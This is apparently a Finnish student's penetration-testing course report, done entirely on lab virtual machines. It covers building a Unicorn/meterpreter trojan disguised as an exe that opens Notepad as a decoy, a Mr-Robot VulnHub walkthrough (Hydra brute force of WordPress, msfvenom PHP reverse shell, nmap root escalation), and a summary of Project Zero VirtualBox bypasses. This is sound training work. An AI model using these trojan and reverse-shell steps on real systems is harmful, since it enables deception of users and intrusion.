Tunkeutumistestaus – h7

Tehtävänanto

Käytin tehtävässä omaa Windows 10 Pro työasemaani ja Oracle VM VirtualBoxia, jossa Kali Linux Xfce 64 Bit. Käytin myös toista virtuaalikonetta Windows 10 64 bit, jonka ova-tiedoston latasin modern.ie.stä. Ajoin myös Mr-Robot: 1 VBOX:ssa

a)”Tee troijalainen Unicornilla ohjeen mukaan. (Vinkki: katso Tatun raporttia)”

Tehtävän aloitus: 6.10.2018 klo 12.10

Tehtävänä oli tehdä troijalainen Unicornilla ohjeiden mukaan. Katsoin nopean videon Youtubesta, miten troijalainen tehdään unicornilla. Menin seuraavaksi katsomaan unicorn projektin GitHub:ia.

Magic Unicorn työkalulla pystyy siis tekemään ”PowerShell downgrade” hyökkäyksiä sekä  syöttämään shellkoodia suoraan muistiin. Kuvaus tekstissäkin luki payloadin nopea teko ja käyttäminen.

Kloonasiin siis GitHub:sta tiedostot Kali Linuxiini.

$ git clone https://github.com/trustedsec/unicorn.git

Ajoin tuon unicorn.py -tiedoston:

$ python unicorn.py

Otin mallia tuosta maalaamastani examplesta:

$ python unicorn.py windows/meterpreter/reverse_https 192.168.56.4 1111

Ajoin ohjeen mukaan msfconsolessa:

$ msfconsole -r unicorn.rc

Handler meni päälle.

Lähetin ”powershell_attack.txt” -tiedoston Windows 10 VM:llä guerrillamailillä

95b00d5a239adb8f351a29d0be39dcd4

Avasin molemmissa VM:ssä guerrillamailin. Lähetin Kali Linuxilla s-postia Windows VM:lle, jossa liitteenä ”powershell_attack.txt”.

b0386f34be6994af45804bcb01d08653

Avasin Windows VM:llä s-postin ja latasin tiedoston.

Kopioin tiedoston sisällön.

Ja pastesin sen Windows PowerShelliin. Valitettavasti en saanut meterpreter shelliä aikaan. Tappelin tämän kanssa kauan, mutta mikään ei tahtonut onnistua. Yritän saada korjattua ongelman paremmalla ajalla.

Tehtävän lopetus: 6.10.2018 klo 13.19

Jatkoin tehtävää: 8.10.2018 klo 21.20

Tein troijalaisen loppuun. Sain idean tästä artikkelista. Muutin ”powershell_attack.txt” -tiedoston ”troijan.bat” -tiedostoksi.

Tämä ei siis vielä ole se troijalainen.

Halusin tehdä bat-tiedostosta exe-tiedoston, joten latasin tuon henkilön GitHub:sta nuo 2 repoa. Eli tuo ohjelma jota hän jakaa muuttaa Bat tiedostot exe:ksi. Unzippasin tiedoston ja ajoin asennuksen.

Avasin ohjelman ja avasin siinä ”troijan.bat”. Lisäsin ensimmäiselle riville ”notepad”, jolloin kun ”troijan.exe”:n avaa avaa se samalla notepadin hämätäkseen käyttäjää. Samalla koodi ajetaan taustalla. Vaihdoin myös exe formaatiksi 64 bittisen Windowsin (invisible) 32 bittisen Windowsin sijasta.

Valmis tuote.

Tuota voi vielä muokata niin, että se hämäisi paremmin kohdetta. Mm. muokkaamalla ikonin tekstitiedoston näköiseksi. Myös olisi hyvä jos tuon konsolinäkymän saisi piilotettua niin, että notepad tulisi vain esille. Kuvassa trojan.exe ajettuna kohde käyttäjän näkökulmasta. Metasploit handler toisessa VM Kali Linuxissa taustalla odottamassa.

Tehtävän lopetus: 8.10.2018 klo 22.15

b)”Asenna oma, itsellesi uusi harjoitusmaali. Voit hakea maalikoneen Vulnhubista. Murtaudu koneelle, katso walktroughsta vinkki, jos jäät jumiin.”

Tehtävän aloitus: 7.10.2018 klo 18.43

Hain Vulnhubista tiettyä maalikonetta nimeltä Mr-Robot: 1. Minulle oli jäänyt mieleen tämän maalikoneen suorittaminen aikaisemmasta CTF walkthrough tehtävästä. Latasin sivuilta siis mrRobot.ova tiedoston.

Importasin sen Oracle VBOX:iin. Minulla meni myös hetki VBOX:in verkon konfiguroinnissa tehtävää varten (piti tehdä ”Host-only Adapter” ja lisätä ne molempiin VM:iin Kaliin ja Mr-Robottiin).

Laitoin molemmat VM:t päälle. Mr-Robotissa tuli esille login ikkuna, josta ei päässyt muuta kuin syöttämällä oikean käyttäjätunnuksen ja salasanan. Siirryin siis Kali Linuxille. Otin ensin selvää Mr-Robotin IP-osoitteesta. Katsoin ensin Kalin IP:tä, päätelläkseni mihin IP-avaruuteen kuulun:

$ sudo ifconfig

IP-avaruuteni oli siis 192.168.56.0/24. Katsoin netdiscoverilla kaikki VBOX LAN:ssa olevat laitteet läpi:

$ sudo netdiscover -r 192.168.56.0/24

Kolme laitetta ilmestyi. Kokeilin varmuuden vuoksi pingata kaikkia kolmea IP:tä, varmistuakseni yhteydestä:

$ ping 192.168.56.1/192.168.56.2/192.168.56.7

Katsoin nmap:lla läpi avoimet portit sekä palvelut niissä:

sudo nmap 192.168.56.7 -Pn -A -vv –top-ports 5000

Mr-Robotissa oli portti 80/tcp auki, jossa Apache web-palvelin. Lähdin siitä eteenpäin.

Laitoin Mozilla Firefox selaimeen Mr-Robotin IP-osoitteen (192.168.56.7). Ilmestyi konsoliruutu (hieno alkuteksti), johon pystyi syöttämään annettuja komentoja (prepare, fsociety, inform, question, wakeup, join). Latoin komennon:

root@fsociety:~# inform

Ilmestyi video, jossa näkyi tärkeän näköisiä miehiä. Seuraavaksi syötin komennon:

root@fsociety:~# join

Tuli taas hieno dialogi, jossa pyydettiin antamaan sähköpostiosoite liittymiseen. Vaihdoin taas Kaliin ja haavoittuvuusskannasin niktolla Mr-Robotin:

$ nikto -host 192.168.56.7 -Display V -Format txt -output robot_nikto

Katoin nikton antamat tulokset läpi. Tuli paljon huomioitavia asioita, joten lähdin yksitellen käymään niitä läpi.

Katoin kaikki läpi: /robots.txt, /index.html, /index.php, /admin, /wp-links-opml.php, /license.txt, /admin/index.html, /wp-login/, /wordpress/, /wp-admin/wp-login.php, /blog/wp-login.php, /wp-login.php. Kävi ilmi, että WordPress oli pystyssä sekä paljon muuta.

/robots.txt löytyi tekstitiedosto, jossa kerrottiin ”fsocity.dic” ja ”key-1-of-3.txt” -tiedostojen olemassa olosta. Tuo key-1-of-3.txt on varmaan ensimmäinen lippu. Kokeilin siis ladata kyseisiä tiedostoja kohteesta:

$ wget http://192.168.56.7/fsocity.dic

$ wget http://192.168.56.7/key-1-of-3.txt

Ladattuani ne Kaliin, katsoin niiden sisältöä:

$ cat fsocity.dic

Tämä oli selvä sanalista, jolla pystyy todennäköisesti suorittamaan sanakirjahyökkäystä WordPress -kirjautumisikkunaan. Katsoin vielä sen avaimen sisällön:

$ cat key-1-of-3.txt

Ensimmäinen lippu löydetty! Mietin, että miten saan WordPress käyttäjätunnuksen ja salasanan, jotta pääsisin siihen käsiksi. Mietin aluksi WPScannia, mutta halusin harjoitella Hydraa, joten valitsin sen seuraavaksi työkalukseni. Eli tarkoituksenani oli ensin selvittää oikeat käyttäjätunnukset ja sitten käyttäjätunnuksille salasanat brute forceamalla fsocity.dic -sanalistatiedoston avulla.

Hydraa varten piti katoa Burp Suite:lla http-post-form:in oikea muoto. Laitoin siis proxyn päälle selaimesta ja käynnistin Burpin.

Menin katsomaan, että proxy asetukset olivat kunnossa Burpin optioneista. Tämän jälkeen käytin ”Intercept” -ominaisuutta. Kaitin siis ensin kirjautua väärillä tunnuksilla ja salasanalla (admin, admin). Sain HTTP POST-viestin napattua. Sitten lähdin rakentamaan hydra komentoa:

$ hydra -V -L fsocity.dic -p admin 192.168.56.7 http-post-form ’/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username’

-V = verbose moodi, joka näyttää login ja salasana arvot joka yritys kerralla. -L = tarvitaan kun käytetään tiedostoa, jossa monta login tietoa. -p = tarvitaan kun koitetaan yksittäistä salasanaa joka yrityksellä. http-post-form = tarvitaan tähän, jotta hydra tietää mikä palvelu on kyseessä ja osaa syöttää tiedot oikein (tässä tapauksessa on kyse http-post-form:sta). ’/wp-login.php = http-post-form:in sijainti, log=^USER^&pwd=^PASS^&wp-submit=Log+In = http-post-form:in parametrit, USER ja PASS korvataan antamillani tiedoilla. F=Invalid username = väärä käyttäjätunnus tarkoittaa yrityksen epäonnistumista.

31:llä yrityksellä jo onnisti (1 min). Käyttäjätunnus ”Elliot” -löytyi WP:n tietokannasta. Kävi tuuri, että käyttäjätunnus löytyi näin nopeasti sillä salasanalista oli yli 800k sanan pituinen. Koitin siis karsia duplicatet pois, jos niitä on sekä järjestää sanat aakkos- ja numerojärjestykseen.

$ sort fsocity.dic | uniq > sanat.dic

sort = järjestää numero ja aakkosjärjestykseen.

uniq = poistaa dublicatet, niin että joka sanaa on vain yksi.

 > tekee uuden listan siihen kansioon, jossa komento tehdään.

Sain lyhennettyä sanalistan 11451 sanaan. Sitten aloin brute forceamaan käyttäjän Elliot salasanaa:

$ hydra -V -l Elliot -P sanat.dic 192.168.56.7 http-post-form ’/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect’

-l = yksittäinen käyttäjätunnus joka yrityksellä, -P = koitetaan montaa salasanaa tiedostosta kerran, joka yrityksellä. = epäonnistunut yritys, jos salasana ei täsmää käyttäjätunnuksen kanssa.

5653:llä kerralla onnistui vasta tälläkertaa (5 min), hyvä että lyhensin listaa. Elliotin salasana on siis ”ER28-0652”.


Pääsin kirjautumaan sisälle Word Pressiin. Tässä vaiheessa pystyi helposti improvisoimaan kuinka tehdä etäkäyttö shell kohteeseen. Kokeilin ensin Metasploitin valmista exploitia nimeltä: exploit/unix/webapp/wp_admin_shell_upload, mutta en saanut sillä muodostettua shelliä. Jouduin katsomaan hieman ohjeita. Tajusin, että msfvenomilla pystyy tekemään php-tiedoston, jossa meterpreter. Lataamalla tämän WP:n plugineihin ja ajamalla tuon pluginin URL-kentässä pitäisi homman hoitua. Tein php-tiedoston:

$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.4 LPORT=4444 -f raw > meterpreter.php

-p = käytettävä hyötykuorma, LHOST = localhost, LPORT = localport, -f = tehtävä formaatti raw = hyötykuorma ”raakan”, tehtävä tiedosto.

Latasin ”meterpreter.php”:n plugineihin. Tuli viesti, jossa väitettiin että paketti ei asentunut. Se kuitenkin asentui.

Niinkuin Kirjastosta näkyy hieno ”meterpreter.php” löytyy. Sitten käynnistin Metasploitin ja postgresql:än:

$ systemctl start postgresql

$ sudo msfconsole

Laitoin handlerin kuuntelemaan:

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload php/meterpreter_reverse_tcp

msf exploit(multi/handler) > options

msf exploit(multi/handler) > set LHOST 192.168.56.4

msf exploit(multi/handler) > set LPORT 4444

msf exploit(multi/handler) > exploit

Avasin meterpreter.php:n WordPressin media libraryssä. Kopioin meterpreter.php kuvaus tekstin, jossa oli sen URL. Pastesin sen URL-kenttään ja painoin enter. Tuli 404, mutta tämä oli tarkoituskin.

Nimittäin sain meterpreter shellin auki handlerissa. Katsoin perus whoami, uname -a, jotka eivät toimeet, johtunee distrosta. Katoin ls-komennolla missä olen.

Selasin tiedostoja ja kansioita kunnes löysin robot-kansion. Katsoin mitä robot käyttäjän kansiossa oli cat:lla.

Löysin toisen lipun ”key-2-of-3.txt” sekä robot käyttäjän salasanatiivisteen.

Copy pastesin MD5 hash tiivisteen raakana google hakuun. Löysin täältä ratkaisun tiivisteelle. MD5 hash olikin aakkosellinen stringi. Kokeilin siis kirjautua seuraavaksi Mr-Robotille suoraan sen VM:n kirjautumisikkunasta.

Laitoin käyttäjätunnuksen ”robot” sekä salasanaksi ”abcdefghijklmnopqrstuvwxyz”, pääsin sisään! Katsoin ls:llä ja cat:lla ”key-2-of-3.txt” -tiedoston sisällön, josta paljastui 2. lippu.

Seuraavaksi piti päästä root:iin. Tämä olisi ollut itselleni todella vaikeaa ilman tämän videon apua, joten otin vapauden katsoa tähän liittyvän kohdan siitä.

$ whoami

$ ! id

id = näyttää käyttäjän tunnusnumeron (UID) ja käyttäjän ryhmien nimet ja numerot.

$ sudo nmap –interactive

–interactive = interactive output

Katoin id:n:

nmap> ! id

Olin rootissa ja katsoin root kansion sisällön:

nmap> ! ls /root

Löytyi viimeinen lippu ”key-3-of-3.txt” sekä ”firstboot_done”. Katoin lipun:

nmap> ! cat /root/key-3-of-3.txt

CTF suoritettu, kaikki kolme loppua löydetty.

Tehtävän lopetus: 7.10.2018 klo 23.48

c)”Google Project Zero. Löydätkö tekniikoita, joita voi hyödyntää pentestissä? (Ei tarvitse toistaa haastavia assembler-temppuja)”

Tehtävän aloitus: 8.10.2018 klo 9.04

Luin Google Project Zeron blogista James Forshaw:n kirjoittaman blogi postauksen siitä kuinka ohitetaan Oracle Virtual Boxin ”Process Hardening” ominaisuus Windowsilla. Process Hardening:lla pyritään suojaamaan jotain kyseistä prosessia toisilta käyttäjiltä, kuten administratorilta (suojaus tosin raukeaa, koska no adminilla niin korkeat oikeudet usein.) ja jopa itseltäsi. Tämä turvallisuus ominaisuus on kehitetty suojelemaan prossesseja muiden kuin admin käyttäjien yritykseltä muokata prosesseja, jotta prosessit pysyisivät eheänä. Prosessien suojaaminen on haastavaa, jos se tehdään vain käyttäjätila sovelluksista. Monesti suojausratkaisu tehdään niin, että laitetaan kernel suojaamaan prosessia. Silti tässäkin ratkaisussa piilee monesti vikoja, joita voi hyödyntää.

Blogissa siis kerrotaan kolme tapaa, joilla pystyy ohittamaan Oracle Virtual Boxin prosessien suojauksen sekä lisäämään mielivaltaista koodia niihin. Nämä tekniikat eivät tosin enään toimi Virtual Boxiin (Virtual Box on patchannut ne), mutta ne toimivat muissa samantapaisissa ohjemissa.

Virtual Box käyttää kerneliä suojaamaan prosessejaan usein samalta käyttäjältä, joka käyttää Virtual Boxia. VirtualBoxin lähdekoodi nimittää tätä ”Process Hardening”:ksi. TL ja DR suojausporttien kautta pääsee käsiksi VBOX kernel ajureihin, minkä kautta kompromissi voidaan toteuttaa kerneliin. VBOX kernel ajureiden avulla voi saada mm. kernel tai järjestelmäoikeudet, mikä on pää syy sille miksi VBOX toeuttaa process hardeningia.

Linuxilla VBOX rajaa ajureidensa pääsyn rootille sekä käyttää ”SUID” binäärejä VBOX käyttäjä prosessien pääsyyn ajureihin ennen oikeukisien laskemista. Windowsilla ”SUID” sijaan käytetään kernel API:ja, suojaamaan suojattuja prosesseja käyttäjiltä ja admineilta (tekniikka: ”hijacking COM objects”).

Ensimmäinen bugi oli ”Exploiting the Chain-of-Trust on COM Registration”, joka mahdollisti mielivaltaisen koodin syöttämisen prosesseihin käyttämällä hyväkseen DLL:n latauksessa chain-of-trust -ominaisuutta huijatakseen VBOX:ia lataamaan Microsoftin allekirjoittamia DDL-tiedostoja (päästi läpi epäluotettavankin koodin). Tässä käytettiin hyväksi mm. COM palvelinta, jota suojattu VBOX prosessi käyttää.

Toinen bugi oli ”Exploiting User-Mode DLL Loading Behavior”. Tämä mahdollisti Windows DLL loaderin ja joidenkin VBOX bugien hyväksi käyttämisen huijatakseen hardening koodia hyväksymään vahvistamattomien DLL-tiedostojen lataamisen muistiin sekä niiden ajamisen. Bugin hyväksi käytössä käytettiin taas hyväksi COM:in lataamista, koska ”per-user COM registration” tekniikka on hyvä saamaan haltuun ”LoadLibrary” API:n. Bugin hyväksi käytössä käytettiin siis edelleen ”hijacking the VirtualBoxClient COM object” tekniikkaa. Exploitissa käyttettiin myös ”in-process server path”:ia lataamaan DDL-tiedostoja.

Kolmas bugi oli ”Exploiting Kernel-Mode Image Loading Behavior”. Hardening koodissa on ”implicit race condition”, jota se pyrkii tekemään. Varsinkin silloin, jos tiedostoa pystyisi muuttamaan tiedoston varmennuksen ja tiedoston mapittamisen välisenä aikana. VBOX:ssa tämä oli mahdollista lyhyessä aikaikkunassa. Tämä mahdollistaa siis ns. TOCTOC (time of check to time of use) -hyökkäykset. Kyse on siis lyhykäisyydessään kernelin image lataamiskäyttäytymisen hyväksikäytöstä, kuten nimessä lukee.

Tehtävän lopetus: 8.10.2018 klo 11.07

Lähteet:

Karvinen, Tero: Oppitunnit 2.10.2018, Tunkeutumistestaus -kurssi.

VirtualBox 2018. https://www.virtualbox.org/

Kali 2018 – Downloads. https://www.kali.org/downloads/

Microsoft 2018 – Microsoft Edge. https://developer.microsoft.com/en-us/microsoft-edge/

guerrillamail.com. http://www.guerrillamail.com/

VulnHub 2018 – Mr-Robot: 1. https://www.vulnhub.com/?q=mr+robot&sort=date-asc&type=vm

md5.gromweb.com 2018 – md5. https://md5.gromweb.com/?md5=c3fcd3d76192e4007dfb496cca67e13b 

Youtube 2018. Bloodcode Hacking – mr.robot&bloodcode(Spasov Stefan-bloodcode-serbian hacker)Hacking from CTF. https://www.youtube.com/watch?v=WD2QY4AISjE

Google Project Zero 2018 – Bypassing VirtualBox Process Hardening on Windows. https://googleprojectzero.blogspot.com/2017/08/bypassing-virtualbox-process-hardening.html

GitHub 2018 – tokyoneon / B2E. https://github.com/tokyoneon/B2E

Null Byte 2018 – How to Create an Undetectable Payload, Part 2 (Concealing the Payload). https://null-byte.wonderhowto.com/how-to/hacking-windows-10-create-undetectable-payload-part-2-concealing-payload-0185060/

Karvinen, Tero 2018: Penetration Testing Course – ict4tn027-3001 – Autumn 2018 – period 1 – 5 op, h7. http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Muuta:

Kaikki kuvat on otettu Gyazo-kuvankaappausohjelmaa käyttämällä.

Tätä dokumenttia saa kopioida ja muokata GNU GPL (versio 2 tai uudempi) mukaisesti. https://www.gnu.org/licenses/gpl.html

 

Mainokset

Vastaa

Täytä tietosi alle tai klikkaa kuvaketta kirjautuaksesi sisään:

WordPress.com-logo

Olet kommentoimassa WordPress.com -tilin nimissä. Log Out /  Muuta )

Google photo

Olet kommentoimassa Google -tilin nimissä. Log Out /  Muuta )

Twitter-kuva

Olet kommentoimassa Twitter -tilin nimissä. Log Out /  Muuta )

Facebook-kuva

Olet kommentoimassa Facebook -tilin nimissä. Log Out /  Muuta )

Muodostetaan yhteyttä palveluun %s